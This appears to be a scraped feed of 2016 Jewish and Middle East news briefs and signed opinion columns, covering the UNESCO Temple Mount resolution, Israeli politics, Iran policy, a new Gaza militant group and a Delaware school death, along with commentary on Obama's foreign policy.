JERUSALEM (JTA)A UNESCO resolution does not recognize a Jewish connection to the Western Wall and the Temple Mount and calls Israel an occupying power.

The resolution was adopted last Friday by the executive board of the United Nations Educational, Scientific and Cultural Organization resolution at a meeting in Paris.

Six months after the organization decided not to classify the Western Wall as a solely Muslim site, the measure refers to the Western Wall as Al-Buraq Plaza and to the Temple Mount as the Al-Aksa Mosque/Al-Haram Al Sharif.

The resolution, which condemns Israeli actions in eastern Jerusalem, the West Bank and Gaza Strip, accuses Israel of being an occupying power, of planting Jewish fake graves in other spaces of the Muslim cemeteries and of the continued conversion of many Islamic and Byzantine remains into the so-called Jewish ritual baths or into Jewish prayer places, according to Israeli newspaper reports.

It also criticizes Israel for its decision to build an egalitarian prayer area in the Western Wall Plaza and for illegal measures against the freedom of worship at the Muslim holy site of worship. The resolutions refers to the cities of Hebron and Bethlehem as solely Muslim, and raps Israeli control over the Tomb of the Patriarchs and Rachels Tomb, both in Hebron.

Israeli Prime Minister Benjamin Netanyahu blasted the resolution.

This is yet another absurd U.N. decision, Netanyahu said in a statement issued Saturday night. UNESCO ignores the unique historic connection of Judaism to the Temple Mount, where two temples stood for a thousand years and to which every Jew in the world has prayed for thousands of years. The U.N. is rewriting a basic part of human history and has once again proven that there is no low to which it will not stoop.

Opposition leader Isaac Herzog questioned by police fraud unit

JERUSALEM (JTA)Israeli opposition leader Isaac Herzog was questioned for six hours on Sunday by investigators from the police fraud unit.

Herzog, who heads the Zionist Union camp, was questioned over suspicions that he received illegal contributions and failed to report donations during his successful campaign in the Labor Party primaries in 2013. He also is accused of making a false statement.

Herzog said in a statement that he asked to come in and give his statement in order to put the matter behind me as soon as possible.

I have complete trust in law enforcement authorities, and am thankful for their fair and respectable conduct, he added.

Zionist Union lawmaker Shelly Yachimovich, who Herzog defeated for the Labor leadership, expressed concern for the party.

I am convinced Herzog has in mind the best interests of the party and the opposition, and I will work alongside him and the members of our party to decide on the steps to take, Yachimovich said in a statement. There is no doubt that the party chairman and opposition leader being questioned under warning exacerbates the situation. I have complete trust in the police and law enforcement authorities.

Zionist Union is made up of Labor and the Hatnua party led by Tzipi Livni, a former foreign minister.

Earlier this month, Finance Minister Moshe Kahlon said talks about Zionist Union joining the ruling government coalition stalled when the investigation into Herzog became public in late March.

Interior Minister Aryeh Deri of the haredi Orthodox Sephardic Shas party is also currently the subject of a corruption investigation.

Cousin of murdered Palestinian teen beaten

JERUSALEM (JTA)A cousin of the Palestinian teen who was burned to death by Jewish extremists in a revenge murder was attacked by two people that the victim described as Jewish.

Zoheir Abu Khdeir, 63, a first cousin of the father of murdered teen Mohammed Abu Khdeir, was attacked April 14 in the Egged public bus parking lot in Jerusalem where he works, Haaretz reported. He was hospitalized overnight with a broken nose, a facial cut that required 12 stitches, and bruises to his eyes and head.

The family told Haaretz that police on an emergency hotline said the victim, a resident of eastern Jerusalem, would have to come to a police station and file a report in person, which he is unable to do.

Police told Haaretz they had no record of such a call and would send an officer to take the victims statement once they receive a complaint.

Mohammed Abu Khdeir was beaten unconscious before he was burned to death in the Jerusalem Forest on July 2, 2014, to avenge the kidnapping and murder of three Israeli teens the previous month, one of the men convicted of carrying out the murder told police.

We dont want it to be like it was with Mohammed, that the police did nothing, Majed Abu Khdeir, the victims brother, told Haaretz. What would happen if the opposite had happened, if a Jew had been beaten up? An arrest within minutes.

Right-wing Israeli minister calls for Gaza port

(JTA) A right-wing Israeli minister spoke out against shameful conditions Palestinians experience at Israeli checkpoints in the West Bank.

Agriculture Minister Uri Ariel, a member of the Jewish Home party who advocates for Jews having greater access to the Temple Mount, said last Friday that the current conditions are a disgrace to the State of Israel and to the security establishment, the Times of Israel reported.

A former leader with the Yesha Council, the primary advocacy group for Jewish settlers in the West Bank, Ariel has been a longtime supporter of settlement construction and in 2012 settler group Matot Arim named him the second-most right wing member of the Knesset.

In an interview on Tel Aviv Radio last Friday morning, Ariel said Israel must do more to improve the well-being of Palestinians both in the West Bank and Gaza.

He said Gaza Palestinians are hurt by Israel not allowing the coastal enclave to have an international port, and West Bank Palestinians are often forced to wait at checkpoints for hours without shade, water or other shelter from harsh weather conditions.

Why cant we fix this? Why shouldnt they have a port? he asked, saying it could be created with 100 percent security.

Israeli troops with beards barred from Yad Vashem ceremony

(JTA)Israeli commanders forbade soldiers with beards from participating in a Holocaust commemoration event last week at the Yad Vashem Holocaust museum in Jerusalem, citing regulations.

An Israel Defense Forces spokesperson confirmed to the news site 0404 the existence of regulations that prevent any soldier who is not shaven from participating in official ceremonies. The spokesperson was replying to a query following instructions given to troops from the Paratroopers Brigade.

Many Orthodox religious Jews do not shave their beards, and IDF regulations permit facial hair for religious reasons. But recently, IDF officers have cracked down on the practice, requiring the signed approval of a colonel.

The disclosure prompted criticism by Bezalel Smotrich, a lawmaker for the right-wing Jewish Home party, who called on the IDF to scrap the regulation.

This regrettable regulations reflects a disconnect and perhaps cultural rejection from Jewish values, he told the news site Srugium. I call on the chief of staff to change it. One cannot encourage service by religious and Haredi soldiers on the one hand, and then exclude them from ceremonial functions based on the claim that their appearance is undignified.

An unnamed soldier told 0404, Yad Vashem has pictures of Jews who were murdered because of their beards. Its strange that there of all places soldiers may not be seen with a beard.

Religious Israeli publications recently published the rejected application of a soldier who sought to be assigned to officers training. In explaining his negative opinion, the soldiers commander wrote, A future commander is expected to shave.

Last week, Israels Supreme Court rejected a petition by soldiers seeking an injunction that would simplify the procedure for getting permission to grow facial hair.

Oracle buys army vets big-data firm in $550M Israel shopping spree

(JTA)Less than two months after buying an Israeli cloud-services firm for approximately half a billion dollars, the American technology giant Oracle purchased another Israeli big-data firm, Crosswise, for a reported $50 million.

Oracle, owned by Jewish entrepreneur Larry Ellison, announced the acquisition on April 14. Specific details of the deal were not released, but a source close to the company told The Times of Israel that the deal was in the range of $50 million.

Oracle said in a statement on April 14 that it will integrate Crosswises technology into its data cloud, which it explained ingests third-party data, extracts value, and activates the data to drive insights and harness this knowledge for targeting to aid advertisers.

The Tel Aviv-based Crosswise specializes in cross-device marketing. It goes through over a petabyte (a million gigabytes) of data from billions of devices every month and identifies patterns in the way people use technology. Two of the companys three co-founders, Jonathan Seidner and Ron Reiter, served in the Israeli armys 8200 communications intelligence unit, acquiring skills they later implemented at Crosswire, according to their firm.

Crosswires CEO, Steven Glanz, a Harvard Law School graduate, set up the firm with his two partners in 2013, raising approximately $5 million for development, according to PC, an Israeli news site on technology. It has 20 employees.

Their firms acquisition is Oracles second major purchase this year in Israel, following the February sale of Ravello Systems, a firm that offers solutions for fast-working cloud services, for approximately half a billion dollars. Oracle said it would set up a cloud lab in Israel as part of that purchase.

Oracle has bought several other firms over the past few years, highlighting a desire to bolster its data cloud technology.

The addition of Crosswise further broadens the Oracle ID Graph to construct a complete view of consumers digital interactions across multiple devices, the company said in the statement.

After rape charge, Israeli lawmakers vow to nix state honors for slain general

(JTA)Several Israeli politicians called for canceling state-organized commemorations for Rehavam Zeevi following the publication of rape and intimidation allegations against the slain former Cabinet minister.

The allegations appeared last week on Channel 2s investigative journalism television program Uvda. It included an anonymous testimony by a female soldier who said she was raped by Zeevi, a right-wing politician and retired general whom Palestinian terrorists murdered in 2001.

According to Uvda, Zeevi also conspired with a crime boss, Tuvia Oshri, to set off an explosive device in 1974 outside the home of Silvia Keshet, an investigative journalist who wrote critically about Zeevi. No one was convicted of the crime.

Following the airing of the documentary, the chairwoman of the left-wing Meretz party, Zehava Gal-On, said her party will work to cancel the annual memorial day that the Knesset, the Israeli parliament, inaugurated in 2005 in Zeevis memory.

Shelly Yachimovich, a Zionist Union lawmaker who used to head the Labor Party, supported the initiative on Twitter. Zeevi, she wrote, is dead but his victims live on, scarred, as their daughters and granddaughter study his horrific legacy.

Eitan Haber, a close associate of the late Israeli prime minister Yitzhak Rabin, said Zeevi during an argument once pointed a handgun at Habers head. Zeevi, known by the nickname Gandhi, fought bravely during Israels War of Independence and was a senior member of the general staff of the Israel Defense Forces during the Six-Day War. Rabin, who was chief of staff, promoted him to brigadier general after the war.

Hailing from a socialist Zionist home, Zeevi gradually became more hawkish. During the 1990s, he was an advocate of the concept of having Arab Israelis transferred outside the borders of the State of Israel.

Agriculture Minister Uri Ariel of the Jewish Home party said he would oppose attempts to stop commemorations and criticized the airing of documentary, citing Zeevis inability to respond to the claims.

Gen. Rehavam Zeevi devoted his life to safeguarding Israels security. It is inappropriate to destroy his reputation when he is unable to comment, Ariel wrote.

Ayman Odeh, leader of the the Joint Arab List party, linked the sexual offenses attributed to Zeevi to his political views.

It is unsurprising to discover that a person who supported the transfer of a civilian population also assaulted women and persecuted journalists, he wrote on Twitter. Those who saw no shame in commemorating him earlier should not find it any more shameful to do so now.

Larry David back on SNL as Bernie Sanderswith Julia Louis-Dreyfus

(JTA)Larry David was back on Saturday Night Live playing Bernie Sanders, this time answering an audience question from former Seinfeld co-star Julie Louis-Dreyfus in character as Elaine Benes.

The skit, which again featured Kate McKinnon portraying Hillary Clinton, had the two Democratic presidential candidates in a mock debate from Brooklyn, New York, ahead of the states primary on Tuesday.

Benes, chosen as a long-time New Yorker to ask the candidates a question, wonders how Sanders plans to break up the big banks. Sanders gives a vague, Seinfeld-esque reply. (David was a creator and executive producer of the 90s megahit.)

Once Im elected president, Ill have a nice shvitz in the White House gym, then Ill go to the big banks, Ill sit them down, and yada yada yada, theyll be broken up, he says, using a Seinfeld euphemism for being vague about details.

You cant yada yada at a debate, Benes objects. Also, you yada yadaed over the best part.

No, I mentioned the shvitz, Sanders replies.

Later, making a reference to Seinfeld, Benes asks Sanders about his plan to tax the super-rich at a higher rate, and muses how the creator of hugely successful sitcom would lose a lot of money. You see what Im saying?

Yeah, David as Sanders replies, pointing at his opponent. You should vote for her.

David has played Sanders several times in guest appearances on SNL.
Heres the latest episode of outreach to Iran from the lips of U.S. Secretary of State John Kerry. After condemning, during a press conference in Bahrain, the destabilizing actions of Iran in the Middle East, he then followed up with a plea. Help us end the war in Yemen, Kerry implored the Tehran regime. Help us end the war in Syria, not intensify, and help us to be able to change the dynamics of this region.

What do you call this? Naivete? Hard-nosed realism? The actualization of President Barack Obamas deeply held belief that American diplomacy must be humble and post-imperial? Or just the plain old enabling of a rogue state ruled by clerics who practice censorship and torture?

Perhaps the fairest way to adjudicate this would be to judge Kerry by his results. There is no chance that Iran is going to perform a 180-degree turnaround in its foreign policy, and Kerry knows it. In Syria, Iran has worked with Russia to stabilize the bloodstained tyrant Bashar al-Assad, while in Yemen and elsewhere in the Gulf, it is systematically baiting the conservative Sunni monarchies quivering in the face of rising Shia power.

Still, one can only say that Kerry has failed if one believes that the Obama administrations policy is aimed primarily at curbing Iranian provocations. Now, when you look at the administrations policy on Iran, it becomes clear that Kerrys expressed concern about Irans behavior was a sop to his Bahraini hosts. When it is remembered that current administration policy is to disengage from the region, thereby empowering Iran, it can be argued that Kerrys results have actually been a resounding success in the context of that policy.

Part of that policy is to occasionally indulge Americas Arab allies by sharing their alarm at what Iran is getting up to. And the Iranians know very well that this will be the limit of American opprobrium. They also know that they can easily wring concessions from Obama and Kerry. When the Iranians complained that they were not feeling the benefits of the surrender on Tehrans nuclear program negotiated last year, the Americans let it be known that they were looking into how offshore financial institutions might conduct legitimate business with Iran in U.S. dollarsa currency to which up until now they have been denied access.

Such trading would certainly lubricate Irans economy, which has weathered several years of international sanctions. And in any case, Iran has already enjoyed a productive relationship with offshore institutions, as the Panama Papers leaked from shady law firm Mossack Fonseca amply demonstrate. One of several Iranian clients was Petropars, an oil firm sanctioned in 2010 by the U.S. Treasury Department for its involvement in Tehrans nuclear program.

In that light, its hard to take seriously State Department assurances that its guidance to companies doing business in Iran will be aimed at keeping them within the law. Iran, we can be confident, will do everything it can to circumvent international regulations.

Momentum, thankfully, is building up in Congress to counter Irans re-entry into a global financial system in which the U.S. is still the most powerful player. In early April, Sens. Marco Rubio (R-Fla.) and Mark Kirk (R-Ill.) introduced a bill that will prevent Iran from gaining even indirect access to American banks and other financial institutions, while also imposing secondary sanctions against any financial institutions that assist Iran in offshore dollar trading.

At the same time, the House Intelligence Committee has announced an investigation into whether the Obama administration misled Congress over the nuclear deal with Iran, on such critical issues as continuing Iranian missile tests and the character of the nuclear facilities inspections regime. Moreover, the anxiety over these concessions to Iran is bipartisan in nature. Prominent Democrats pushing back against administration policy include House Minority Whip Rep. Steny Hoyer (D-Md.), who told the recent AIPAC policy conference that blocking Iran from obtaining nuclear weaponsa potential outcome that the nuclear deal has no power to preventneeds to be our number one focus.

Meanwhile, Iran is doing everything it can to remind the world that its stance will only become more belligerent. After one of the regimes missile tests in early March, Brigadier General Amir Ali Hajizadeh issued a brazen threat to Israel, stating that the reason we designed our missiles with a range of 2,000 kilometers is to be able to hit our enemy the Zionist regime from a safe distance.

That has now been followed up with another demonstration of intent. On April 7, Iranian Defense Minister Brigadier General Hossein Dehqan inaugurated a new Octogen power plant. Octogen is an explosive used in penetrating missile warheads. It can also be deployed as a detonator for an atomic weapon.

A statement from the Iranian Defense Ministry didnt need to pretend that the Octogen manufacture was for defensive purposes. The Defense Ministry has also paid attention to boosting the destructive and penetration power of different weapons warheads and has put on its agenda the acquisition of the technical know-how to produce Octogen explosive materials and Octogen-based weapons, the statement said.

What should worry us here in America is that our current administration is quite satisfied with this current threat level. When it comes to the presidential race, fear of further strategic giveaways to the Iranians will remain locked in place for as long as Donald Trump and Sen. Bernie Sanders (D-Vt.), with their isolationist platforms, maintain their bids for their respective parties nominations.

The present activity in Congress is our best hope of pushing back against Iran, but it will not undo the nuclear deal. Nor will it prevent further Iranian missile tests, or Irans backing for such monsters as Assad and the Islamist terrorist organization Hezbollah. Given that, why would Iran conduct itself any differently?

Ben Cohen, senior editor of TheTower.org & The Tower Magazine, writes a weekly column for JNS.org on Jewish affairs and Middle Eastern politics. His writings have been published in Commentary, the New York Post, Haaretz, The Wall Street Journal, and many other publications. He is the author of Some of My Best Friends: A Journey Through Twenty-First Century Antisemitism (Edition Critic, 2014).
(JTA)The Israeli Supreme Courts recent landmark ruling on conversion is a truly historic decisionfor Israeli and American Jewry.

While the case only concerns a few individuals, the general rules and unequivocal language have wide significance for both Israeli and American Jewry. The ruling represents another blow to the Israeli Chief Rabbinates monopoly on religious affairs; it strengthens a pluralistic approach to Judaism; and it upholds the principles of religious freedom and the rule of law.

In the narrowest sense, the ruling affirmed that Orthodox conversions taking place in Israel outside the official framework of the Chief Rabbinate are considered legitimate for the purposes of allowing an individual to become an Israeli citizen under the Law of Return. But everyone understands that it paves the road for further recognition of modern Orthodox and Reform/Conservative conversions. It also reaffirms that converts to Judaism, whether converted in the Diaspora or in Israel, are equally eligible to enjoy aliyah rights under the Law of Return.

That would explain the all-out, immediate assault on the decision by the Chief Rabbinate and Orthodox politicians, who are now demanding legislation that would undo it.

Writing for the majority, Chief Justice Miriam Naor rejected the governments arguments that the Chief Rabbinate should retain exclusive authority over conversions in Israel. Instead, she quoted a key decision by former Chief Justice Aharon Barak. Israel, Barak wrote, is not the state of the Jewish community headed by the Chief Rabbinate, but rather the state of the Jewish people as a whole, with its diverse religious expressions, streams and movements. Then as now, the court rejected the states misguided claim that even for civil purposes, only those Israeli conversions sanctioned by the Chief Rabbinate merit recognition.

Deputy Minister of Health Yaacov Litzman and Knesset member Moshe Gafni, leaders of the Ashkenazi haredi Orthodox party United Torah Judaism, responded immediately to the decision.

We will not allow for the Justices of the Supreme Court to decide who will be accepted as a Jew in Israel, against the Jewish tradition throughout the ages, they said.

Minister David Azoulay of the haredi Orthodox Sephardic party Shas said: The Supreme Court is trying to uproot the Jewish foundations of the State of Israel.

Their threats to nullify the court ruling through legislation represent an assault on the Supreme Court and liberal Judaism. They also signal that the tide might be turning against haredi control of Jewish lifecycle rituals, from conversion to marriage to burial. Haredi parties were already seeing their control slipping after rulings that created an egalitarian space at the Western Wall and another allowing non-Orthodox converts to immerse in public mikvahs, or ritual baths, as part of their conversion process.

But those in Israel and the Diaspora who support pluralism shouldnt celebrate just yet. As significant as the ruling is, it is limited to the civil aspects of Who is a Jeweligibility under the Law of Return and registration as a Jew in the civil population registry. It does not infringe upon the Chief Rabbinates monopoly over marriage and divorce.

Until freedom of marriage is legislatedallowing Jews in Israel to marry without the literal blessing of the Chief Rabbinatethese converts and many others, including all non-Orthodox converts from the United States and elsewhere, will continue to be treated as second-class Jews and second-class citizens, denied the basic civil right of marriage. They will be joining some 660,000 Israeli citizensincluding immigrants from the former Soviet Union and gays and lesbianswho cannot marry in the Jewish state because neither civil nor non-Orthodox weddings are allowed.

Add to that the number of children growing up in the Jewish community in the United States whose mothers are not Jewish or whose parent underwent a non-Orthodox conversion: None would be eligible to legally marry in Israel, so long as the Chief Rabbinate controls the personal status of Jews.

This situation is a far cry from Prime Minister Benjamin Netanyahus promise at the Jewish Federations of North Americas General Assembly last November, when he pledged his commitment to ensure that every Jew, whether Reform, Conservative or Orthodox, would feel at home in Israel.

In recent months, we have seen steps toward change taken by a number of key U.S. Jewish federations, the American Jewish Committee and a group of activists and other organizations, including modern Orthodox ones. But much more will have to be done to effectively bring about a fully pluralistic society.

According to Hiddushs public opinion polling, the overwhelming majority of Israeli Jews opposes the monopoly of the Chief Rabbinate, view it as alienating Jews from Judaism, criticize the governments policies in matters of religion and state, and want to see the promise of Israels Declaration of Independence, for freedom of religion and equality, fully realized.

So what may seem to be a ruling on individual cases of conversion in Israel is about Jewish pluralism, the rule of law and core principles of democracy. The time is now, in Israel and the Diaspora, to build on the decision. In addition to safeguarding the court from attempted castration by its haredi opponents, we need to call on Israel to move forward and ensure that converts to Judaism not only enjoy civil recognition, but also the right to legally marry and enjoy the full dignity of their Jewish identity.

Rabbi Uri Regev heads Hiddush-Freedom of Religion for Israel, a transdenominational, nonpartisan, Israel-Diaspora partnership for religious freedom and equality.
A new Iranian-backed Palestinian terrorist group has emergedand by appearances, it may be expanding. In less than two years, Harakat as-Sabeeren Nasran il-Filastin (The Movement for the Patient Ones for the Liberation of Palestine), also known as al-Sabireen, has committed several terrorist attacks against Israel, drawn worries from rival terror groups, and promoted its brand through an ambitious social media presence. Yet major U.S. print and online news outlets have failed to report the rise of this group, which calls for Israels destruction and openly advertises the support it receives from the Islamic Republic of Iran.

Al-Sabireen first appeared in the late spring of 2014 as a splinter from the Palestinian Islamic Jihad (PIJ) terrorist group. The reasons for al-Sabireens founding are unclear. Some analysts, such as Jonathan Schanzer and Grant Rumley of the Washington DC-based Foundation for Defense of Democracies think tank, wrote in June 2014 that a Hamas-Fatah unity deal for Palestinian governance may have provided the impetus. In an interview with Al-Monitor, a self-identified member of al-Sabireen named Mohammad Harb explained the groups origins. Harb claimed al-Sabireen was formed by some PIJ members when their demands for a return to the pro-Khomenei ideology of Islamic Jihads founder, Fathi Shakaki, were spurned.

Much like other terrorist groups, including its rival Hamas, the terror organization that rules the Gaza Strip, al-Sabireen also had close ties with a charity calling itself al-Baqiyat as-Salihat (the enduring good deeds). Perhaps concerned with a potential rival to power in Gaza, Hamas closed al-Baqiyat as-Salihat in March 2016 due to the organizations engagement in political activities.

Since its appearance, al-Sabireen has used money to successfully recruit disenchanted members of PIJ and Fatah. The latter comprises much of the Palestinian Authority, which administers the West Bank. Al-Sabireen also has recruited from smaller terrorist groups.

While its origins are murky, al-Sabireens objective and patron are clear.

Employing language that closely mirrors that of Iranian officials such as Supreme Leader Ayatollah Ali Khamenei, al-Sabireens charter encourages violent jihad against the racist Zionist body Israel and against what it calls America the great Satan. The group, including its leader and founder, Hisham Salem, a former mid-level PIJ operative, can be found on social media platforms, such as YouTube, promoting their proto-Khamenei, anti-Western, anti-Israeli, and Islamist ideology.

Matching words with deeds, al-Sabireen has drawn attention from the Israel Defense Forces after perpetrating several terrorist attacks against the Jewish state. Flush with Iranian fundsan estimated $10 million a year for what is thought to be 400 or so membersal-Sabireen has armed itself with Grad and Fajr missiles that can reach Tel Aviv from the Gaza Strip, a distance of about 35 miles.

Al-Sabireen also is armed with new Steyr .50 long-range sniper riflesthe same weapon that some Iranian-backed militias are using to expand Tehrans regional influence in the formerly sovereign nations of Syria and Iraq.

Much like other terrorist groups, including Hamas, PIJ, and the Iranian-backed and Lebanese-based Hezbollah, al-Saibreen benefits from Tehrans largesse. But while Hamas and PIJ refused to agree with Irans demands to publicly support dictator Bashar al-Assad in Syrias bloody civil war, al-Sabireen has shown no such compunction.

Al-Sabireen has gone on record backing Irans Syrian ally and has adopted other positions in line with the mullahs, such as criticizing Irans nemesis and regional rival Saudi Arabia. By contrast, Hamas, which receives funds from the Persian Gulf states and Turkey, has been careful not to take sides overtly in the Saudi-Iranian cold war that is going hot in the Yemeni civil war and elsewhere. Al-Sabireen even closely mimics its fellow Iranian proxy, Hezbollah, in the design of its logo, which features an outstretched arm gripping a Kalashnikov assault rifle.

Al-Sabireen has been richly rewarded with funds and assistance for its strict adherence to Tehrans wishes. But the groups undisguised support from the Shiite-majority country has raised eyebrows among the largely Sunni-Muslim Palestinian Arabs. Rumors suggest that al-Sabireen is a Shiite group, whichlike its benefactorbelieves in spreading the Iranian brand of Islam. When speaking to Arab press, al-Sabireen head Salem has publicly denied these claims, made by Hamas as well as al-Sabireen members themselves.

But al-Sabireen has reportedly adopted Shiite rituals such as the Day of Ashura, and the group is known to distribute Shiite literature and hold seminars on Shiite theology. Salem is also known to have declared that the road to liberation of Palestine (the destruction of Israel as a Jewish state) goes through Karbalareferring to the Shiite holy city in a manner that echoes Tehrans rhetoric.

The groups emergence has been entirely ignored by major U.S print news outlets. A Lexis-Nexis search that includes USA Today, The New York Times, The Los Angeles Times, and The Washington Post, among others, shows only one single mention, by Washington Post online blogger Jennifer Rubin (The effect of the nuclear deal is clear, Jan. 20, 2016). Rubin appropriately noted that al-Sabireen is a sign of Irans expanding regional influenceincluding, even overtly, in areas not traditionally dominated by Shiite groups.

If al-Sabireen and Iran have their wish, it may be increasingly difficult for the press to ignore this example of Irans growing reach and funding of terror.

Sean Durns is the media assistant for the Washington, DC office of CAMERA, the 65,000-member, Boston-based Committee for Accuracy in Middle East Reporting in America. This op-ed is excerpted from CAMERAs backgrounder on al-Sabireen, which can be found here.
A 16-year-old Delaware girl died Thursday from injuries she sustained in a fight with classmates in her high schools restroom.

The New Castle County Vo-Tech School District didnt give the name of the student involved in the fight, which occurred at Howard High School of Technology just as classes started Thursday. No weapons were used in the fight, but the girl was seriously injured , the district said in a statement.

The girl was airlifted to a hospital by helicopter, where she later died.

This is not only an unspeakable tragedy for her family, but also for the school, and the entire community, the statement said. We express our prayers and deepest sympathy to her family, who need your support and sensitivity at this time.

Investigators from the Wilmington Police Department s homicide and violent crime units conducted interviews Thursday about the circumstances surrounding the incident, the department said in a news release.

The school dismissed students early Thursday and plans to offer counseling to students.

Im so upset that the young lady lost her life today, Wilmington Mayor Dennis Williams said at an emotional press conference. Things like this shouldnt happen. My heart bleeds for the family, the kids that go to this school, administrators, and our city.

Rates of School Violence

Howard is not known as a violent school, Delaware Online reported.

Last year, seven violent felonies were reported at the school, as well as 14 incidents of fighting or disorderly conduct, according to Department of Education, the paper reported. In the previous four years, only three violent felonies total were reported there.

In Delaware, 9.3 percent of high school students reported being in a fight on school grounds the year before they took a 2013 survey, according to the most recent federal data available. Thats close to the national average of 8.1 percent.

Nationwide, there were 15 homicides of youths ages 5-18 at schools during the 2011-12 school year, according to that data. In 2013, there were 37.4 of incident of violent victimization at school for every 1,000 public school students, the data show.

Related reading:

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It was ironic that the day The Atlantic monthly published what was supposed to be the definitive work on U.S. President Barack Obamas foreign policy, Russian President Vladimir Putin announced that he was removing the bulk of his military forces from Syria.

Jeffrey Goldbergs long profile titled, The Obama Doctrine, sought to define the theoretical underpinning of Obamas foreign policy. Goldberg devoted the bulk of his 20,000-word corpus to analyzing Obamas policies in Syria, where, he offered, Obama finally broke free from foreign policy communitys constraints, and set out on his own course.

Reading Obamas view of Putin the same day the Russian leader surprised the U.S. in announcing his decision to immediately withdraw Russian forces from Syria was instructive.

Putin, Obama sneered, is constantly interested in being seen as our peer and working with us, because hes not completely stupid. He understands that Russias overall position in the world is significantly diminished. And the fact that he invades Crimea or is trying to prop up [Syrian President Bashar] Assad doesnt suddenly make him a player.

Moreover, Obama said, Putins decision to deploy his forces to Syria would have no impact on Russias global influence.

The notion that somehow Russia is in a stronger position now, in Syria or in Ukraine, than they were before they invaded Ukraine or before he had to deploy military forces to Syria is to fundamentally misunderstand the nature of power in foreign affairs, or in the world in general. Real power means you can get what you want without having to exert violence.

Although they sound smart, Obamas statements were utter hogwash.

By sending his forces to Syria, Putin not only secured Russias military bases in Syria for the foreseeable future. Putin vastly improved Russias international positionand did so at Americas expense.

Putin exposed the emptiness of Obamas global leadership in the campaign against ISIS. Among other things, Putin called Obamas bluff by threatening U.S. combat jets with his air defense batteries.

Rather than confront Putin for his refusal to deconflict his forces from U.S. fighter craft, Obama ordered U.S. forces to end manned aircraft sorties in the area around Russias air defenses and reduced the vaunted U.S. anti-ISIS campaign to drone strikes. In other words, he allowed Russia to create a no-fly zone against the U.S. Air Force.

Obamas readiness to stand back and allow Putin to replace America as the superpower power broker in the Middle East isnt all that surprising. In his conversations with Goldberg, Obama derided the need to uphold Americas commitments.

Obamas first open move to upend Americas global credibilitywhat Goldberg refers to as his liberation day, came on Aug. 30, 2013. That day, Obama decided not to attack Syrian regime targets in retaliation for Assads use of chemical weapons gas against Syrian civilians in the Damascus suburb of Ghouta on Aug. 21. Some 1,400 people were reportedly murdered in the strike.

The moment Obama decided not to enforce his redline and bomb Syria, Goldberg wrote, he broke with what he calls, derisively, the Washington playbook. Obama told Goldberg, Im very proud of that moment, when he shuffled off the overwhelming weight of conventional wisdom and the machinery of our national-security apparatus.

Just as the foreign policy establishmentincluding Obamas advisers and cabinet secretarieswas mortified by his decision to trample on U.S. credibility that day, so its members remain flummoxed by his refusal to deal seriously with the growing threat that ISIS poses to key U.S. interests.

But Obama remains unmoved. As he sees it, the threat that racist Americans will respond to the threat of ISIS with racism directed against Muslims is greater than the threat that ISIS poses to the U.S., its allies and the global order.

And this brings us to the heart of the principles that guide Obamas foreign policy.

Goldberg, like others who have come in contact with Obama over the years, admires his emotional detachment, his coolness, or what Goldberg views as his Spockian rationalityafter Star Treks Mr. Spock.

He works with this head. Hes smart and calculating.

So why then is his foreign policy so destructive? Why has he allowedindeed enabledRussia to return to the Middle East for the first time since the 1970s? Why has he allowed the ISIS cancer to grow? Why has the man who entered office promising to eradicate nuclear weapons paved the way for Iran to acquire them? Why has Obama allowed ISIS and Assad use chemical weapons at will? Why did he overthrow Muammar Gaddafi and then do nothing to prevent ISIS from taking over large swaths of Libya? Why has he alienated and repeatedly undercut every U.S. ally in the Middle East and many U.S. allies in Europe?

None of this seems very smart.

To understand what Obama wants, it is important to note the four consistent strands of Obamas foreign policy that appeared throughout Goldbergs article.

First, from the opening days of his presidency, Obama has continuously stressed what he views as Americas moral flaws and its unfitness and unworthiness to serve as the worlds most powerful nation. Although Goldberg noted that Obama grudgingly came to acknowledge that America is the indispensable nation, he also showed Obamas resentment of that state of affairs and Obamas keen interest in restraining American power.

For instance, Obama told Goldberg, One of the reasons I am so focused on taking action multilaterally where our direct interests are not at stake is that multilateralism regulates hubris.

Obama, Goldberg explained, consistently invokes what he understands to be Americas past failures overseas as a means of checking American self-righteousness.

The second consistent aspect of Obamas policies is that he rejects securing the traditional goals of U.S. foreign policyopposing U.S. enemies; siding with U.S. allies; and preventing the spread of weapons of mass destruction, including nuclear weapons, to U.S. enemies.

Not only does Obama oppose traditional policy goals such as preventing Russia from competing with the U.S. in the Middle East. Obama insists that the U.S. is incompetent to implement them successfully and that U.S. allies are wrong to expect the U.S. to side with them against their common enemies.

Third, Obama has consistently refused to see the dangers of the policies that he has adopted and blames others when the dangers materialize and his policies fail.

For instance, whereas the U.S. intelligence community opposed overthrowing Gaddafi, Obama told Goldberg that the intelligence community failed to tell him how unstable Libyan society was.

While Obama famously referred to ISIS as the jayvee team, and has refused to take serious steps to destroy the genocidal group, Obama blames the U.S. military for misinforming him about the potency of the ISIS threat.

Finally, Obama has consistently undercut U.S. allies in his attempts to appease U.S. enemies. The obvious example of this is his ill-treatment of Prime Minister Benjamin Netanyahu and Israel throughout his tenure in office. But in his conversations with Goldberg, Obama viciously attacked the leaders of Jordan, Saudi Arabia, the UAE, France and Britain. All of them exhibited varying degrees of unworthiness of his support as he embarked on policy trajectories they viewed as threatening and counterproductive.

As the consequences of these four policy lines began smacking him in the face, Obama could have been expected to change course. George W. Bush for instance changed his foreign policy stance from one of sparing internationalism before September 11 to democratic interventionism in its aftermath. And when his democratic interventionism failed in Iraq, he abandoned it in favor of a more traditional realist approach.

Bill Clinton and Jimmy Carter were also quick to change their policies when they were faced with evidence they had failed. Ronald Reagan changed his policy for bringing down the Soviet Union from one of confrontation to one based on cooperation when Mikhail Gorbachev came to power.

Unlike his recent predecessors Obama has never shifted gears. He has never found fault with his judgment. He has never revisited a decision.

It is easy to chalk this up to arrogance. Obama is certainly one of the most arrogant leaders the U.S. has ever hadif not the most arrogant president in U.S. history. But given his intelligence, it is hard to escape the impression that Obamas epic arrogance, which makes it impossible for him to admit failure, is just as much of a style preference as a character trait. That is, arrogance is an attitude that he has adopted on purpose.

What that purpose may be is indicated by the consistent strands of his foreign policy. Obamas belief in Americas moral turpitude, his eagerness to trample U.S. credibility, reject traditional U.S. policy goals; his refusal to see the dangers inherent in his radical policies or acknowledge their failures let alone accept responsibility for their failures, and his trampling of U.S. allies while appeasing its enemies all point to Obamas true doctrine.

Originally published in The Jerusalem Post.

Caroline Glick is the senior Middle East Fellow at the Center for Security Policy in Washington, DC, the deputy managing editor of The Jerusalem Post and a contributor to the Jewish World Review.
